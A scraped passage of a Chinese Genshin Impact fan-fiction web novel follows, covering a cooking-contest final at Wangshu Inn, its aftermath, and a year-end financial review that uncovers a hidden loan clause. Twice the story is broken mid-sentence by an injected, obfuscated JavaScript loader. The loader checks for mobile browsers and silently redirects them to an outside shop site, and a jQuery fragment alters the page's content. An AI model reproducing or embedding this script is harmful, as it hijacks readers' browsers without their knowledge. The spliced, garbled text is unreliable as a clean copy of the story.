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萍姥姥笑着说："留云这孩子，还是嘴硬心软。" 她拍了拍香菱的肩膀："加油，决赛好好表现。" 萍姥姥牵着瑶瑶的手离开了。 瑶瑶边走边回头："大师姐加油！" 这时，万民堂的展位旁，一个熟悉的身影走了过来。 卯师傅。 香菱："爹！" 她跑过去。 卯师傅笑着说："香菱，干得不错。你的琥珀糖醋鱼很有创意。" 香菱有点不好意思："爹，您的龙须凤爪煲才厉害呢。评委们都夸您。" 卯师傅摇头："我做的是传统菜，你做的是创新菜。我们父女俩都晋级了，这是好事。" 他顿了顿："不过决赛会更难。你要好好准备。" 香菱："嗯！我会的！" 卯师傅："锅巴最近还乖吗？" 锅巴："咿呀！" 卯师傅笑了："好好好，你也很棒。" 他拍了拍香菱的头："回去好好休息，别太累了。" 香菱："知道了，爹。" 卯师傅转身离开，回万民堂了。 这时，行秋走了过来，压低声音对荧说："荧小姐，有件事要告诉你。" 荧："什么事？" 行秋："刚才比赛结束后，我看到公子让他的金发助手联系了至冬那边，似乎在准备决赛的食材。他们提到了''冰原雪鱼''和''至冬黑麦''。" 荧皱眉："决赛还没公布主题，他就开始准备食材了？" 行秋："看来他很有把握。或者说，他提前猜到了决赛的方向。" 荧："谢谢你，行秋。" 行秋："不客气。有什么需要我帮忙的，随时找我。" 他转身离开了。 派蒙小声说："公子果然有准备！" 荧："所以我们也不能松懈。" 派蒙："什么菜能代表璃月的文化？这也太难了吧！" 香菱皱着眉头："璃月的文化璃月港？海灯节？岩王帝君？" 荧："还有璃月的契约精神、商业文化、仙人传说" 派蒙："哇，这也太多了！" 香菱："怎么办？我要做哪一种？" 荧想了想："先别急。我们回去再好好研究。钟离对璃月文化最了解，可以问问他。" 香菱点头："对，钟离先生肯定知道！" 派蒙："那我们快回去吧！" 荧："等等，先别急着问。我们自己先想想，有什么菜能代表璃月。" 香菱："嗯我想想" 她们正准备离开，公子走了过来。 "荧小姐，恭喜晋级决赛。" 荧："公子也恭喜。" 公子："你们的创新菜很有意思。尤其是那个琥珀糖醋鱼，让我印象深刻。" 荧："多谢夸奖。公子的鱼汤塔也很出色。" 公子笑了："彼此彼此。对了，我一直想去望舒客栈拜访一下，不知道什么时候方便？" 荧心里一紧。 来了。 她表面平静："欢迎公子随时来。" 公子："那就明天下午？我想尝尝望舒客栈的招牌菜。" 荧："没问题。我会让香菱准备的。" 公子："那就这么说定了。" 34.决赛（上） "荧小姐，望舒客栈在北国银行有一笔25万摩拉的贷款，按期还款中，对吧？" 公子端着茶杯，语气像在聊天气。 荧面不改色："对。" 公子："还款记录不错，从没逾期。但按现在的速度，大约需要两年才能还清。加上利息，总还款额接近30万。" 派蒙差点把嘴里的莲花酥喷出来。 30万。一万五千份甜甜花酿鸡。 她使劲咽下去，又塞了一块新的。出门前荧交代过，公子问什么敏感问题就往嘴里塞东西。荧管这叫"战略性进食"。 公子没理会派蒙，从怀里掏出一份文件放在桌上。 《北国银行VIP客户优惠还款计划》。 公子："升级VIP，利率从年化15%降到10%。两年省接近3万摩拉利息。条件很简单，在客栈放置北国银行宣传物料，允许我们设一个小型换汇窗口。" 3万。派蒙的手停住了。一千五百份甜甜花酿鸡。 荧没翻文件。 "公子的方案很诱人，不过这种事我需要慎重考虑。" 公子笑了笑，没有追问。他端起茶杯喝了一口，目光扫过桌上的三道菜——莲花酥、杏仁豆腐、干烧香鱼。荧特意交代香菱只做公开过的菜，决赛新品一个字都不能漏。 公子尝了一口杏仁豆腐："南天门的野生杏仁？" 香菱愣了："你怎么知道？" 公子没回答，放下筷子站起身。 "菜不错，谢谢款待。那份文件你看看，有兴趣随时联系我。" 走到门口，他忽然回头。 "对了，荧小姐。你那道琥珀糖醋鱼，琥珀代表璃月的商业文化和繁荣，这个说法不错。不过璃月的文化可不只是商业。" 说完，走了。 荧站在门口看着他的背影消失在山路上。 "他在暗示决赛方向。"荧转身回到大厅，翻开那份文件快速扫了一遍。第七页有一条小字："VIP客户享有北国银行璃月分行提供的商业信息咨询服务。" 情报交换的体面说法。 公子不只想在客栈设点，还想把望舒客栈变成情报节点。 荧合上文件。这份东西暂时不能签也不能拒。拒绝太快会激怒债主，签了等于卖客栈的独立性。最好的策略是拖，但拖需要筹码。 如果决赛赢了，璃月年度最佳商会的称号就是最大的筹码。 初号机跑过来举着小本子。上面画了一个橘色头发的火柴人，笑脸画得像在阴笑，旁边是一个摩拉符号和大问号。最后画了一只小派蒙，嘴巴张得比脸还大。 派蒙凑过来："为什么我嘴巴那么大？" 初号机一脸认真："米哒哒（我画得极好）！" 第二天一早，万民堂。 荧开门见山："钟离先生，如果只用一道菜代表璃月，你会选什么方向？" 钟离放下茶杯，没有滔滔不绝讲三千年历史，只说了一句话。 "璃月立国之本是契约。仙人与凡人的契约，商人与商人的契约，个人与自己的契约。所有繁荣都建在''信守承诺''四个字上。" 荧："怎么用一道菜表达''契约''？" 钟离想了想，伸手在桌上比划。 "契约的本质是不同力量达成平衡。你需要找到两种截然对立的食材，让它们在一道菜里共存。" 他竖起一根手指。 "绝云间。清心、云雾茶、琉璃百合。这些食材生在高处，性味清冷，普通人难以入口，但仙人视为珍馐。它们代表仙境。" 又竖起一根手指。 "璃月港。绯云坡的莲子，轻策庄的稻米，望舒客栈楼下池塘里的黑背鲈，码头上刚靠岸的鲜虾。这些食材带着烟火气，市井百姓天天吃，但仙人不屑一顾。它们代表人间。" 他把两根手指合在一起。 "把这两者融合在一道菜里，不是简单地拼在一起，而是让它们互相成就。清心的苦要被莲子的甜化解，云雾茶的涩要被鲜虾的鲜提出回甘。吃到嘴里，仙和凡已经分不开了。这就是璃月。" 荧一拍桌子。 "菜名：仙凡同桌宴。一道菜分三层。上层用绝云间食材，代表仙人；下层用璃月港食材，代表凡人；中间用一种特殊酱汁连接，代表契约。三层一起吃才是完整味道。" 香菱越听越兴奋："上层可以用云雾茶和清心做茶香慕斯，下层用璃月港的海鲜和轻策庄的稻米熬浓汤底座，中间用琥珀色的浓缩高汤！再用透明琉璃容器盛装，评委能直接看到三层结构！" 钟离点头："方向对了。不过有一点要注意，清心入菜容易发苦，前人多用蜂蜜压苦味，但那会盖掉茶香。你可以试试用绯云坡的青莲子粉替代，莲子性温味甘，既能中和苦味又能引出茶的尾韵。" 香菱眼睛一亮："对！莲子粉！初赛时留云真君教过我青莲子的用法，这次正好能用上！" 钟离端起茶杯，满意地抿了一口。 "不错。对了，关于清心和莲子的配伍，其实有一段典故。归终时代，留云借风真君曾用清心入茶招待理水叠山真君，当时的莲子还是野生品种，分为十三个亚种，其中——" 荧："钟离先生，您的茶凉了。" 钟离看了看杯子："哦，确实。" 派蒙松了口气。好险。 接下来五天，香菱进入疯狂研发。 茶香慕斯试了六个版本。留云真君吃了第三版，说茶味太重减三分之一，然后拿走了半盘"给申鹤尝尝"。萍姥姥在旁边笑，留云真君说本仙只是不想浪费。 海鲜底座试了三种方案。魈在顶楼吃完整盘第二版，面无表情放下碗。荧问怎么样，魈说不难吃。荧翻译给香菱：他很喜欢。魈说我没说喜欢。荧说你吃完了整盘。魈不说话了。 最难的是中间那层契约酱汁。泉水清淡骨汤浓郁，混合后要么浑浊要么分层，试了七次都不行。 第三天，瑶瑶在旁边看着，忽然说："大师姐，试试加琉璃百合花蜜？花蜜黏黏的，可以把两种汤连在一起。" 香菱试了。金色汤汁在琉璃容器里稳稳悬浮在中间层。色泽透亮，像液体琥珀。 香菱抱住瑶瑶："你是天才！" 瑶瑶被勒得喘不过气："大师姐轻点！" 第五天，最终版定稿。萍姥姥从上到下舀了一勺，三层一起入口，嚼了嚼，点头："清淡和浓郁在嘴里交汇，最后一股回甘。确实像两个世界在舌尖签了契约。" 行秋来试菜时透露，公子那边在做一道"至冬冰原融合锅"，用冰原雪鱼和璃月食材搞双味火锅，概念也是融合，但切入点是至冬和璃月的跨国关系。 荧："方向不一样。他讲国与国，我们讲仙与凡。" 行秋："你们更贴合主题。但不能大意。" 荧看了看香菱。 香菱攥紧拳头："我可以的。" 荧点头。一切准备就绪。 至少她以为是这样。 决赛当天。 玉京台搭起五个临时灶台。万民堂、北国银行、望舒客栈、琉璃亭、新月轩各就各位。 凝光宣布主题："一道菜，一个璃月。两个时辰，制作一道代表璃月文化精髓的菜品。" 派蒙小声说："果然是璃月文化。" 香菱系上围裙走向灶台。二号机搬食材，三号机备厨具，初号机抱着本子。 前一个半时辰一切顺利。骨汤底座完成，茶香慕斯完成，琥珀酱汁也调好了。 香菱开始组装。 她小心翼翼地把三层依次装入透明琉璃容器。下层深棕色海鲜浓汤，中层金色琥珀酱汁，上层淡绿色茶香慕斯。三层分明，色泽完美。 荧在台下松了口气。 然后灾难发生了。 香菱把装好的琉璃容器端向展示台时，三号机正好搬着一箱厨具经过。丘丘人的个头矮，香菱没看到它，三号机也没看到容器。 砰。 琉璃容器从香菱手里飞了出去。 整个玉京台都听到了碎裂的声音。 透明的琉璃碎片散了一地。三层精心准备的菜品混在一起，淌了一桌。 全场安静了一秒。 然后观众席爆发出一阵惊呼。 观众席第一排，瑶瑶猛地站了 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她快步走到灶台旁，压低声音："香菱，还有多少时间？" 香菱的声音在发抖："不到半个时辰。容器碎了，三层结构做不了了。食材还有剩余，但重做一份完整的来不及。" 荧看着地上的碎片和混在一起的菜品，脑子飞速运转。 三层结构做不了了。那就不做三层。 "香菱，听我说。" 荧蹲下来，捡起一块大的琉璃碎片。 碎片的断面在阳光下折射出彩虹色的光。 "不要重做三层。把三种食材混在一起，做成一道新的菜。用碎掉的琉璃片当装饰。" 香菱愣了："混在一起？那三层结构的意义不就没了吗？" 荧："不。意义变了，但变得更好。" 她看着香菱的眼睛。 "仙凡同桌宴的原版是三层分明，代表仙人和凡人各司其位、契约维系。但你想想，璃月现在正在经历什么？岩王帝君退位了。七星接管治理。仙人退居幕后，凡人走到台前。璃月的契约不是一成不变的，它在进化。" 香菱的眼睛慢慢亮了。 荧："旧的容器碎了，就像旧的秩序碎了。但里面的东西还在。把三层混合在一起，不是毁灭，是融合。仙人的清远和凡人的烟火彻底交融，不再需要分层，因为它们已经成为一体。" 她把那块碎裂的琉璃片递给香菱。 "用碎片当盛器的装饰。碎裂本身就是故事的一部分。" 香菱接过碎片，手不抖了。 "我知道怎么做了。" 她转身回到灶台，动作突然变得干脆利落。 公子在对面灶台看着这一切。 从容器碎裂到现在，不到三分钟。三分钟前荧还站在一堆碎片面前，三分钟后她的厨师已经带着全新方案重新开干了。 他的金发助手小声说："先生，她们在做什么？" 公子没回答，目光始终追着荧。 他看到荧蹲下捡碎片的那一刻，看到她和香菱低声说了几句话，看到香菱的眼神从绝望变成兴奋。他不知道荧说了什么，但他知道——那不是安慰，那是一整套新方案。 普通商人遇到这种事会慌，会认输，会想怎么把损失降到最小。 但荧不是在止损。她在进攻。 公子收回目光，嘴角的笑容淡了一些。 把剩余的茶香慕斯、琥珀酱汁、海鲜浓汤倒入同一口锅。大火收汁，快速搅拌。三种味道在锅里剧烈碰撞，厨房里弥漫出一种从没闻过的香气，不是清淡，不是浓郁，而是两者撞击后诞生的全新味道。 她把混合后的菜品盛入一个普通的白瓷碗。 然后，小心翼翼地把几块大的琉璃碎片插在碗边，像从碗里生长出来的透明花瓣。 碎片的断面折射着光，映在金色的汤面上，像碎裂的星空。 时间刚好到。 凝光宣布："时间到。请各参赛者呈上菜品。" 35.决赛（下） 评委们开始依次品尝。 琉璃亭的七星拼盘，凝光评价形式大于内容。 新月轩的七层酥，莱欧斯利说各层缺乏统一逻辑。 万民堂的全鱼宴，评委一致称赞。卯师傅用一条完整的黑背鲈，七个部位七种烹法，从鱼头到鱼尾讲述璃月从建城到繁荣的完整历程。 托马："叙事性极强。从头到尾吃下来，像读了一部璃月简史。" 甘雨："刀工和火候都无可挑剔。尤其是鱼腹那一段，代表仙人庇护时期，味道温润醇厚，恰如其分。" 凝光点头："万民堂对璃月传统的理解一如既往地扎实。不过——" 她顿了顿。 "这道菜讲的是璃月的''过去''。从建城到繁荣，每一段都是已经发生的故事。作为历史叙事，无可指摘。但''一道菜一个璃月''这个主题，是否只包含过去？" 卯师傅站在灶台旁，神色不变，微微点了点头。他显然听懂了凝光的意思。 然后是北国银行。 公子亲自端出至冬冰原融合锅。左边至冬鱼汤，右边璃月辣汤，中间薄冰墙隔开。 公子当着评委的面，用勺子敲碎冰墙。两种汤汁交融，蒸汽升腾。 温迪尝了一口："至冬鱼汤和璃月辣汤混在一起竟然意外地搭！" 妮露："敲碎冰墙的仪式感很好。两种文化的碰撞，很有画面感。" 莱欧斯利放下勺子，看向公子："味道确实不错。但我有一个问题。今天的主题是''一道菜一个璃月''，不是''一道菜两个国家''。这道菜的主角到底是璃月，还是至冬与璃月的关系？" 公子微笑："璃月是一个开放的港口。包容本身就是璃月的文化。" 凝光没有接话，但刻晴直接开口了。 "包容是璃月的特质之一，但不是核心。璃月的核心是契约，是仙人与凡人共同建造的文明。这道菜里，我看到了至冬和璃月的碰撞，但没有看到璃月自身的根基。" 公子的笑容没变，但没有再反驳。 凝光在评分表上写了几笔。 荧注意到，凝光写字的时间比评万民堂时短。 但公子的菜确实做得好。仪式感强，味道出色，而且"敲碎冰墙"这个动作本身就很有记忆点。如果望舒客栈还是原来的三层结构，也许能稳赢。但现在拿着一碗混合物和几块碎琉璃上去，能行吗？ 她不确定。 但没有退路了。 最后，轮到望舒客栈。 香菱端着那个白瓷碗走上前。 碗边插着几片碎裂的琉璃，金色汤面上映着破碎的光。 观众席上有人窃窃私语。评委席上，刻晴皱了皱眉。这个卖相和前面四家比起来，确实寒酸了不少。 温迪歪头看了看："诶，这个看起来好像出了什么意外？" 凝光没有表态，只是说："请讲解。" 香菱深吸一口气。 "这道菜原本叫''仙凡同桌宴''。三层结构，上层仙境，下层人间，中层契约。" 她停了一下。 "但刚才，盛装它的琉璃容器碎了。" 评委们互相看了一眼。刚才的意外他们都看到了。 香菱继续说。 "容器碎了，三层结构没了。我一开始觉得完了，这道菜毁了。" 她看了看碗里混合在一起的菜品。 "但后来我想明白了一件事。" "璃月的故事，不是一个关于''完美秩序''的故事。岩王帝君守护璃月三千年，仙人和凡人各安其位，那是旧的璃月。但现在，岩王帝君退位了。旧的秩序碎了，就像这个琉璃容器一样。" 全场安静了。 "可是碎了之后呢？里面的东西还在。仙人的清远还在，凡人的烟火还在，契约的精神还在。它们不再分层了，它们彻底融合在了一起，变成了一种全新的味道。" 她把碗往前推了推。 "这道菜现在叫''新璃月''。请评委品尝。" 凝光看了香菱很久。 然后她拿起勺子，舀了一口。 闭眼。 五秒。十秒。 她睁开眼。 "三种味道混在一起之后，没有互相覆盖，反而形成了一种新的层次。入口是鲜，中段是清，尾韵是甘。就像你说的，不再分层，但每一种味道都还在。" 刻晴尝了一口，放下勺子，沉默了一会儿。 "我之前觉得这道菜的卖相不如其他几家。但吃完之后，我改主意了。这是今天唯一一道让我觉得''这就是璃月''的菜。" 甘雨："同意。其他几道菜都在讲璃月的过去。只有这一道在讲璃月的现在和未来。" 留云真君端着勺子，很久没说话。 萍姥姥在观众席上看着她。 过了好一会儿，留云真君才开口。 "本仙看着旧的秩序建立，也看着它碎裂。碎裂的时候，本仙以为一切都完了。" 她放下勺子。 "但这碗东西告诉本仙，碎了也没关系。只要里面的东西还在。" 她顿了顿。 "不错。" 观众席上，瑶瑶已经哭成了泪人。萍姥姥递给她手帕，瑶瑶一边擦眼泪一边说："师父，中间那层金色的，是我建议加的琉璃百合花蜜……它还在里面……没有碎掉……" 萍姥姥摸了摸她的头："是啊，碎了的是容器，不是你放进去的心意。" 温迪擦了擦眼角："呜呜，我怎么被一碗汤感动了。我要写首诗！" 莱欧斯利："温迪先生，评审还没结束。" 温迪："诶嘿。" 莱欧斯利自己倒是认真看了看碗边的琉璃碎片。 "把意外变成叙事的一部分，这个临场反应本身就说明了一件事。" 他看向香菱。 "你对这道菜的理解，已经超越了技术层面。" 评委们开始讨论。 荧站在台下，心跳得很快。 她不知道够不够。万民堂的全鱼宴太稳了，卯师傅是几十年功力的老将。公子的融合锅仪式感也很强。 讨论了很久。 终于，凝光站起身。 "各位评委意见已汇总。宣布结果。" 全场安静。 "海灯节美食大赛，冠军——" 停顿。 荧的手指攥紧了。 "望舒客栈。''新璃月''。" 香菱愣了整整三秒。 然后眼泪哗地就下来了。 "我们赢了！" 派蒙尖叫着冲上去："赢了赢了赢了！" 二号机举起双手："姆赫哒哒！姆赫哒哒！（胜利极好！胜利极好！）" 三号机从角落里冲出来，扑到香菱脚边，抱着她的腿呜咽："古沙古沙……瓦洛！瓦洛！（不好不好……谢谢！谢谢！）" 它还以为自己砸碎容器害了大家。 香菱蹲下来摸了摸三号机的脑袋："傻瓜，要不是你，我们可能还赢不了呢。" 三号机抬起头，鼻涕眼泪糊了一脸。它愣了一下，似乎没听懂。 二号机走过来拍了拍三号机的后背，用丘丘语解释了一遍。 三号机又愣了三秒。 然后它转身跑了。 派蒙："诶？它跑了？" 两分钟后，三号机气喘吁吁地跑回来，怀里抱着满满一堆琉璃碎片。 它把碎片小心翼翼地放在香菱面前，指了指碎片，又指了指刚才获奖的那个白瓷碗，拍着自己的胸口。 "米塔哒哒！乌帕！乌帕！（好东西极好！收集！收集！）" 它居然把刚才散落在地上的琉璃碎片全捡回来了，一片不少。 香菱看着那堆碎片，笑出了眼泪。 荧也忍不住笑了。 初号机翻开本子，认真地在"三号机"那一栏的哭脸旁边，画了一个新的笑脸。 然后想了想，又在笑脸旁边画了一颗星星。 荧站在原地，深深呼了一口气。 赢了。 璃月年度最佳商会。税收减免。新贸易航路优先权。 这些筹码，够了。 凝光继续宣布："亚军，万民堂。季军，北国银行。" 卯师傅笑着走过来拍了拍香菱的肩膀："好样的，赢了你爹。" 香菱哭得更厉害了："爹！" 卯师傅："赢了还哭？" 香菱："太高兴了！" 这时候，一个小小的身影从观众席冲了过来。 瑶瑶跑得太急，鞋子都快飞了，一头扎进香菱怀里。 "大师姐！中间那层金色的汤汁！它还在！花蜜还在里面！" 香菱抱住她，笑着哭："对，还在。要不是你的琉璃百合花蜜，那层酱汁根本做不出来。瑶瑶，你是大功臣。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137971|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶瑶把脸埋在香菱围裙上，闷闷地说："可我什么都没做，只是说了一句话而已。" 荧蹲下来，认真地说："瑶瑶，你知道这碗''新璃月''里面最关键的一层是什么吗？就是你那句话做出来的那层金色酱汁。没有它，仙和凡就连不到一起。" 瑶瑶抬起头，眼睛还红着，但嘴角翘起来了。 "那我下次还能帮忙试菜吗？" 香菱："随时来！" 瑶瑶用力点头，跑回萍姥姥身边，路上差点绊一跤。 公子也走了过来。 "恭喜，荧小姐。" 他的笑容看不出情绪。 "那份VIP文件，你考虑得怎么样了？" 荧面不改色："公子，望舒客栈现在是璃月年度最佳商会了。如果要谈条件，恐怕得换一份新方案。" 公子的笑容顿了一下。 然后他笑了，这次是真笑。 "有意思。那就改天再谈。" 他转身走了两步，又停下来，没有回头。 "荧小姐，你很擅长把劣势变成优势。这一点，我很欣赏。" 停顿了一秒。 "也很警惕。" 他走了。 派蒙飘到荧旁边，小声说："他最后那句话是什么意思？" 荧没回答。 行秋不知什么时候出现在旁边，手里还拿着一本书，像是刚从观众席晃过来的。 "恭喜夺冠。" 荧："谢谢。有什么新消息？" 行秋合上书："公子输了比赛之后，没有立刻离开。他让金发助手回了一趟北国银行，待了大概一炷香的时间。" 荧："去做什么？" 行秋："不清楚。但助手出来的时候手里多了一份文件，像是从档案室调出来的。" 他看了荧一眼。 "你最近有没有查过望舒客栈在北国银行的贷款明细？" 荧的眉头微微动了一下。 "你为什么这么问？" 行秋："直觉。公子输了比赛之后的第一件事不是回去，而是去翻文件。这不像是一个只关心厨艺的人会做的事。" 荧沉默了两秒。 "我会查的。" 行秋："有需要随时找我。" 他笑了笑，转身走了，走了两步又回头。 "对了，庆功宴上记得留一份杏仁豆腐给我。" 当天晚上，望舒客栈。 庆功宴结束后，所有人都散了。香菱带着丘丘人们回去休息。三号机走的时候还抱着那堆琉璃碎片，二号机帮它找了个木盒子装好，三号机把盒子抱在胸前，像护着什么宝贝一样。派蒙吃撑了趴在桌上打盹。 荧一个人坐在前台，面前摆着公子留下的那份VIP文件和客栈全年的账本。 比赛赢了，但她一点都轻松不起来。 海灯节一过就是年底了。从接手这个烂摊子到现在快一年，总共赚了多少、花了多少、还了多少、还欠多少，她心里其实只有个模糊的大数。 该算清楚了。 她翻开第一本账本，刚看了两页，就注意到一个不对劲的地方。 北国银行上个月寄来的对账单，和她自己记的数对不上。 差了一笔。 荧皱起眉，翻出贷款合同，从第一条开始逐字逐句地看。 翻到第十四条第三款时，她的手停了。 一行小字，藏在密密麻麻的条款里，之前她从没注意过。 荧把这一条读了三遍，脸色慢慢沉下来。 她又从一堆杂物里翻出三个月前北国银行寄来的一封信。当时她正在蒙德忙分店的事，信被初号机塞进杂物堆，一直没拆。 拆开。 读完。 荧把信轻轻放在桌上，靠在椅背上。 公子今天在赛场上说过一句话："你很擅长把劣势变成优势。这一点我很欣赏。也很警惕。" 她现在知道"警惕"是什么意思了。 派蒙迷迷糊糊地抬起头："荧？你还没睡？" 荧合上账本，站起来。 "派蒙，明天陪我去趟北国银行。" 派蒙打了个哈欠："干嘛？" 荧："讨债。" 派蒙一脸懵："我们是欠钱的那个，怎么讨债？" 荧没回答，把那封信折好塞进口袋。 年终盘点，得从这笔账开始算。 36.年终盘点（上） 望舒客栈大厅，荧用木炭在一块门板上画了一张图。 横轴是月份，纵轴是收入。 曲线的形状像一条垂死挣扎的心电图。 派蒙歪着头看了半天："荧，这条线怎么抖得这么厉害？" 荧："这是我们过去一年的月度收入曲线。" 她指着最低点："这里，食物中毒事件，整整半个月零收入。" 又指着一个略高的点："这里，史莱姆抚摸区开业，日均收入翻了一倍。" 再指着一个突然拔高的尖峰："这里，蒙德分店演唱会周边爆火，单月收入破了三万。" 最后指着曲线末端的一个新高点："这里，海灯节美食大赛冠军，客流量暴涨。" 派蒙盯着那条上下剧烈波动的线，总结道："所以我们的生意就是一会儿掉到深渊，一会儿又飞回来？" 荧："换个说法叫''高波动高增长''。" 派蒙："那跟骑史莱姆有什么区别？弹上去又弹下来。" 荧："史莱姆不欠债。" 台下坐着望舒客栈的全体成员。 二号机和三号机坐在第一排，挺直了身板。初号机坐在旁边，翻开小本子准备画画。几只史莱姆蹲在角落旁听，偶尔弹跳一下，不知道是在鼓掌还是单纯闲不住。 香菱坐在第二排正中间，身上还系着围裙，手里抱着锅勺——显然是从厨房直接被拖过来的。 钟离坐在最后一排的角落，端着一杯茶，表情淡然。荧请他来参加年终总结，用的理由是"前任掌柜指定的顾问应该了解经营现状"。钟离没拒绝，但他看起来更像是来喝茶的。 荧看了他一眼，心里默默吐槽。 坐在最后一排旁听年终财报的这位先生，是发明了摩拉的人。全提瓦特流通的货币都是他造的。现在他坐在一个负债三十万的小客栈里，听一个穿越者用前世麦肯锡的PPT逻辑讲收入曲线。 这个画面如果截图发到NGA，评论区能炸。 荧敲了敲门板："下面正式开始望舒客栈年终总结大会。首先，盘点今年的翻车记录。" 她在门板左边刷刷刷写了一列： "翻车记录——" "开业第三天食物中毒，全体客人上吐下泻。" 派蒙缩了缩脖子。 "丘丘人工会成立首日，史莱姆集体越狱，追着客人满客栈跑。" 二号机心虚地低下了头。 "蒙德分店开业头一周，盲盒套餐被投诉''开出来全是素菜''。" 派蒙："那是因为肉太贵了！" "决赛当天琉璃容器碎了，三层结构全毁。" 派蒙不说话了。 三号机低头看了看自己身边的木盒子，把它又往怀里抱紧了一点。 荧在门板右边写了另一列： "成绩单——" "璃月总店从零做起，史莱姆抚摸区成了招牌项目。" "丘丘人工会运营稳定，初号机二号机三号机全部持证上岗。" "蒙德清泉镇分店开业，盲盒套餐和演唱会周边持续盈利。" "海灯节美食大赛冠军，璃月年度最佳商会。" 她退后一步，看着门板上左右两列。 翻车四条，成绩四条。 "各位，有没有发现一个规律？" 派蒙看了看两列，数了数："一样多？" 荧摇头："不是数量的问题。你看时间线。" 她在两列之间画了几条连接线。 食物中毒 →催生了丘丘人标准化管理流程 →史莱姆抚摸区开业 史莱姆越狱 →改良了圈养方案 →丘丘人工会正式运营 蒙德盲盒被投诉 →调整了套餐结构 →演唱会周边大卖 容器碎了 → "新璃月"逆转 →美食大赛冠军 "每一次翻车，都直接导向了下一个成绩。" 派蒙瞪大眼睛："真的诶！" 荧："结论——望舒客栈的商业模式就是''靠翻车涨经验''。我们翻得越狠，涨得越快。" 钟离在后排端着茶杯，若有所思地点了点头。 "这个总结虽然措辞粗放，但逻辑上确实成立。璃月商史上有一句话叫''百折成金''，意思是经历百次挫折才能铸成真金。望舒客栈的经历，倒也暗合此理。" 他端起茶抿了一口。 "不过''百折成金''后面还有一句——''金成忌骄''。" 荧："记住了。" 香菱举手："那我们厨房算翻车还是算成绩？初赛前试菜失败了三次，莲花酥冰淇淋球、杏仁豆腐披萨、干烧香鱼汉堡，全翻了。" 派蒙打了个哆嗦："别提那三个名字。" 香菱不好意思地笑了："但后来不是做出来了嘛。" 荧："所以你既是翻车王也是成绩王。" 香菱："这到底是夸我还是损我？" 初号机在本子上认真画了一辆翻了的马车，旁边画了一个箭头指向一座金山。 二号机看了看，用力点头："摩斯米塔！（吃肉！开心！）" 三号机也跟着点头，但它的视线一直落在门板上"容器碎了"那一条上。它下意识地抱紧了身边的木盒子——里面装着它从决赛现场捡回来的琉璃碎片。 荧注意到了，没有点破。 "好，接下来是重头戏。财务盘点。" 她翻开账本，深吸一口气。 "全年总收入：三十五万零四百二十七摩拉。" 派蒙倒吸一口凉气："三十五万？！" 荧："先别激动。分项来看——璃月总店日常营业加上史莱姆抚摸区，全年约十八万。丘丘人工会的表演和接待服务约三万。蒙德分店的盲盒套餐和演唱会周边约十万。海灯节旺季的额外客流约四万多。" 她敲了敲门板。 "全年总支出：三十四万五千摩拉。" 派蒙的表情凝固了。 "收入三十五万，支出三十四万五……" 她掰着手指算了半天。 "净利润只有五千四百二十七摩拉？？" 荧："准确地说，是五千四百二十七摩拉又三毛。" 派蒙："三毛也要算？！" 荧："当然要算。打工人的钱，一毛都不能少。" 派蒙趴在桌上，一脸生无可恋："忙了一整年……才赚五千多……那是两百七十一份甜甜花酿鸡……" 荧也忍不住在心里算了一笔。前世她在麦肯锡做策划，年薪税后四十多万人民币。现在穿越到提瓦特，操持一整个客栈，管着三只丘丘人三十只史莱姆一家分店，忙了一年净赚五千四百二十七摩拉。 按照游戏里的物价换算，五千摩拉大概能买二十份蒙德烤鱼。 她从年薪四十万的策划师变成了年薪二十份烤鱼的客栈老板。 这个穿越有退货机制吗？ 钟离在后排轻咳一声："从会计角度看，第一年经营就实现了正利润，虽然微薄，但已经优于璃月港八成的新商户了。" 荧感激地看了他一眼。钟离难得说了句鼓励的话。 钟离又补了一句："当然，你的账目风格依然……独特。" 他从袖子里抽出一本书，放在桌上。 《璃月高级会计》。 荧："我那本《入门》还没看完。" 钟离面不改色："我知道。所以这本是给香菱的。代理店长也该学学。" 香菱看着那本厚得能当砖头的书，笑容僵在脸上。 荧："好。接下来看债务。" 她在门板上画了一条线。 "年初，我们的总债务是五十万摩拉。现在是多少？" 她写下数字： 璃月商会无息贷款：5万 北国银行贷款：25万（本金） "总债务三十万摩拉。一年还了二十万。" 派蒙："二十万？！" 荧："对。虽然净利润只有五千，但我们把大部分现金流都拿去还债了。从五十万还到三十万，一年还了二十万。" 她指着账本余额。 "目前账上还有十八万摩拉。" 派蒙坐起来："十八万？那不少了！等等，净利润不是才五千吗？十八万哪来的？" 荧："你混淆了两个概念。净利润五千，是扣掉所有成本和利息之后剩下的纯赚。但账上的十八万是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟离放下茶杯，表情平静但声音比刚才沉了半分。 "第十四条第三款。这种弹性利率条款在北国银行的合同里很常见。至冬的商业法规允许金融机构对经营变更的借款人进行利率浮动。" 荧看向他："钟离先生，你对北国银行的合同很了解？" 钟离端起茶杯："我对璃月所有金融机构的运作都有所了解。这是个人兴趣。" 个人兴趣？！ 荧差点笑出声。你是摩拉克斯，你创建了整个璃月的金融体系，你说这是个人兴趣？ 这就好比央行行长说自己对货币政策"略有耳闻"。 荧没追问。她拿出计算器，冷静地算了一笔。 "18%年化，月息三千七百五十摩拉，比原来多六百二十五。三个月多扣了一千八百七十五摩拉。加上本金摊还差异，对账单上多出了大约五千摩拉。" 她合上计算器。 "更关键的是，如果接下来继续按18%算，两年下来要多还将近两万。" 派蒙的脸白了。 两万摩拉。一千份甜甜花酿鸡。 荧把信收好，站起来。 "不过这封信有一个问题。" 派蒙："什么问题？" 荧指着信封上的地址："收件地址写的是清泉镇分店。但贷款合同上登记的借款人地址是璃月望舒客栈。北国银行把利率调整通知寄到了错误的地址。" 派蒙没听懂："那又怎样？" 荧笑了。 "合同第十四条第四款：利率调整须以书面形式通知借款人，通知送达至合同登记地址后生效。未按规定地址送达的，视为未有效通知。" 派蒙的眼睛慢慢亮了。 "所以……他们寄错了地方，等于没通知？" 